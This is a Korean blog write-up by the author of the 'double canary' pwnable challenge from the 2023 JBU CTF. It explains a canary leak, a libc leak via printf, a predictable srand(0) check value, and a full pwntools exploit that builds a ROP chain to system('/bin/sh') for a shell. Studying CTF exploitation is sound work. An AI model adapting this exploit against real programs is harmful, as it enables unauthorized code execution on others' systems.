e_yejun
Jun_ : Pwn
e_yejun
์ „์ฒด ๋ฐฉ๋ฌธ์ž
์˜ค๋Š˜
์–ด์ œ
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • ์•Œ๊ณ ๋ฆฌ์ฆ˜ (42)
    • ํ”„๋กœ๊ทธ๋ž˜๋ฐ (24)
    • ํ”„๋กœ์ ํŠธ (6)
    • 1-day (7)
    • CTF (15)
    • ๊ธฐํƒ€ (33)
    • ์ผ๊ธฐ์žฅ (0)

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ํ™ˆ
  • ํƒœ๊ทธ
  • ๋ฐฉ๋ช…๋ก

๊ณต์ง€์‚ฌํ•ญ

์ธ๊ธฐ ๊ธ€

ํƒœ๊ทธ

  • wargame
  • how2heap
  • 1-day
  • dvwa
  • Heap
  • dreamhack.io
  • X86
  • BOF
  • rev-basic
  • x64

์ตœ๊ทผ ๋Œ“๊ธ€

์ตœ๊ทผ ๊ธ€

ํ‹ฐ์Šคํ† ๋ฆฌ

hELLO ยท Designed By ์ •์ƒ์šฐ.
e_yejun

Jun_ : Pwn

CTF

[2023 JBU CTF] double canary write-up

2023. 10. 28. 21:57

๋ถ„์•ผ : Pwnable

๐Ÿ’ก 2023 JBU CTF์—์„œ ๋‚ด๊ฐ€ ์ถœ์ œํ•œ ๋ฌธ์ œ์— ๋Œ€ํ•œ write-up์ด๋‹ค.

๐Ÿ˜ญ v6์— r_rum ๊ฐ’์„ ์™œ ๋„ฃ์–ด์คฌ์ง€..? ๊ทธ๋ž˜์„œ ๊ทธ๋ƒฅ Canary Leak ๋ฌธ์ œ๊ฐ€ ๋˜์–ด ๋ฒ„๋ ธ๋‹ค ใ…Ž.ใ…Ž

๐Ÿ˜ญ ๋” ์›ƒ๊ธฐ๊ณ  ์Šฌํ”ˆ๊ฑด, ๋‚˜๋Š” ์ธ์ง€ํ•˜์ง€ ๋ชปํ•œ ์ฑ„๋กœ ๋ผ์—…์„ ์ž‘์„ฑํ–ˆ๋‹ค... ๊ทธ๋Ÿด ์ˆ˜ ์žˆ์ง€ ์—†๋‹ค.

 

 

๐Ÿง ๋ฌธ์ œ

๋ฌธ์ œ๋ช… : double canary

Canary ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ๊ฑธ๋ ค์žˆ์–ด์„œ Canary ๊ฐ’์„ ์šฐํšŒํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

bof๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , printfํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๋ฏ€๋กœ, LibcBase๋ฅผ ์–ป์–ด์„œ ์›ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ systemํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์…ธ์„ ์–ป๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

์œ„ ๊ตฌ์„ฑ์ด ๋ฌธ์ œํŒŒ์ผ๋กœ ์ œ๊ณต๋œ๋‹ค. ๋กœ์ปฌ์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์˜ฌ๋ ค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๊ณ , ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„œ๋ฒ„์— ์ „์†กํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” libcํŒŒ์ผ์ด ์ œ๊ณต๋œ๋‹ค.

 

๐Ÿง ๋ถ„์„

๋ฌธ์ œ ์„ค๋ช…์—์„œ ๋งํ–ˆ๋“ฏ์ด Canary๊ฐ€ ๊ฑธ๋ ค์žˆ๋‹ค. ๋ฌธ์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

mainํ•จ์ˆ˜์ด๋‹ค. main ํ•จ์ˆ˜์˜ ๋ถ„์„์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

๐Ÿง printf์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ, printf offset๋งŒํผ ๋นผ์„œ libc base๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

๐Ÿง nbytes์—์„œ Name Size๋ฅผ ์ž…๋ ฅ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์—, v10๋ณ€์ˆ˜์—์„œ bof๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

๐Ÿง ์ด ๋ฌธ์ œ์—์„  ํ”„๋กœ๊ทธ๋žจ์ด ์‹œ์ž‘ํ•  ๋•Œ randํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋žœ๋ค ๊ฐ’์„ v8๋ณ€์ˆ˜๋กœ ์ €์žฅํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ ์ „์— ์ด๋ฅผ ํ™•์ธํ•œ๋‹ค. ํ•˜์ง€๋งŒ, srand(0)์œผ๋กœ seed๋ฅผ ์ƒ์„ฑํ•˜๊ณ  randํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด r_num์™€ ๋™์ผํ•œ ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

๐Ÿง **v8(rbp-0x5c)**๋Š” v10(rbp-0x50)๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Index Values์— offset๋งŒํผ ์ž…๋ ฅํ•˜์—ฌ v8๋ถ€ํ„ฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ, ์นด๋‚˜๋ฆฌ ๊ฐ’ ๋ณ€์กฐ๋ฅผ ์ฒดํฌํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋  ๊ฒƒ์ด๋‹ค.

mainํ•จ์ˆ˜์˜ 21๋ฒˆ์งธ ์ค„์—์„œ vulnํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ์ด ํ•จ์ˆ˜์—์„œ ์นด๋‚˜๋ฆฌ๋ฅผ leakํ•  ์ˆ˜ ์žˆ๋‹ค.

 

vulnํ•จ์ˆ˜์—์„œ๋„ ๊ธธ์ด๋ฅผ ์ž…๋ ฅํ•˜์—ฌ, ๊ทธ ๋งŒํผ ์ž…๋ ฅ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— bof๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

๐Ÿง ์ด ํ•จ์ˆ˜์—๋„ return ์‹œ ์นด๋‚˜๋ฆฌ ๊ฐ’ ๋ณ€์กฐ๋ฅผ ์ฒดํฌํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š” v3 ํ•˜์œ„ 1byte๋ฅผ 0์œผ๋กœ ๋ฐ”๊ฟ”์ค€๋‹ค. ๋”ฐ๋ผ์„œ, ์นด๋‚˜๋ฆฌ ๋ณ€์ˆ˜์˜ ํ•˜์œ„ 0x00์„ ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ฎ๊ณ , ์ด๋ฅผ printf์ถœ๋ ฅ์œผ๋กœ ๊ฐ’์„ leakํ•˜๊ณ ๋„ ๋‹ค์‹œ 0x00์œผ๋กœ ๋ฎ์–ด์„œ ์ •์ƒ์ ์œผ๋กœ returnํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

  1. srandํ•จ์ˆ˜์˜ seed๋ฅผ 0์œผ๋กœ ํ•˜๊ณ , randํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋žœ๋ค ๊ฐ’์„ ์–ป๋Š”๋‹ค.
  2. printf์ฃผ์†Œ๋ฅผ ํ†ตํ•ด offset์„ ๊ณ„์‚ฐํ•˜์—ฌ systemํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์–ป๋Š”๋‹ค.
  3. vulnํ•จ์ˆ˜์—์„œ ์นด๋‚˜๋ฆฌ๋ฅผ 1bytes ๋ฎ์–ด printf๋กœ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์–ป๋Š”๋‹ค.
  4. *Index Values(v8(rbp-0x5c)-v10(rbp-0x50))๋กœ *12๋ฅผ ์ž…๋ ฅํ•œ๋‹ค.
  5. mainํ•จ์ˆ˜์˜ bof์—์„œ ๊ฐ ๋ณ€์ˆ˜์˜ ๊ฒ€์ฆ ๋ถ€๋ถ„์„ ๊ตฌ์„ฑํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ํ•œ๋‹ค.

 

๐Ÿ’ก ํŽ˜์ด๋กœ๋“œ

r_num + A*0x5c + canary + B*0x8 + ret(gadget) + pop rdi(gadget) + &'/bin/sh' + &system

 

๐Ÿง ์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *
from ctypes import *
import time
#context.log_level='debug'

# rand()
libc_ = CDLL('./libc.so.6')
#seed = libc_.time()
libc_.srand(0)
random = libc_.rand()

#gadget
ret = 0x000000000040101a
pop_rdi = 0x0000000000401573

# init
libc = ELF('./libc.so.6')
e = ELF("./double_canary")
p = process('./double_canary')
#p = remote('192.168.83.137', 13573)

# libc leak
p.recvuntil('printf : ')
printf = int(p.recv(14), 16)
libc_base = printf-libc.sym["printf"]
system = libc_base + libc.sym['system']
sh = libc_base + list(libc.search(b'/bin/sh'))[0]

print('printf :', hex(printf))
print('libc_base :', hex(libc_base))
print('system :', hex(system))
print('sh :', hex(sh))

# canary leak
payload = b'A' * (0x18 + 1)

p.sendlineafter(b'Name Size :',str(len(payload)))
p.sendafter(b'Name :',payload)

p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
print('canary :',hex(canary))

# exploit
payload = p64(random)
payload += b'A' * (4 + 0x48)
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)

# debug
#gdb.attach(p)
#pause()

p.sendlineafter(b'Index Value(Name-Index) :',str(12))
p.sendlineafter(b'Name Size :',str(len(payload)))
p.sendafter(b'Name :',payload)

p.interactive()

ํ•ด๋‹น exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

    'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
    • [2023 JBU CTF] call_func write-up
    • [2023 JBU CTF] format64 write-up
    • [2023 JBU CTF] format32 write-up
    • [2023 JBU CTF] babybof write-up
    e_yejun
    e_yejun
    ์ •๋ฆฌ๋…ธํŠธ •_•

    ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”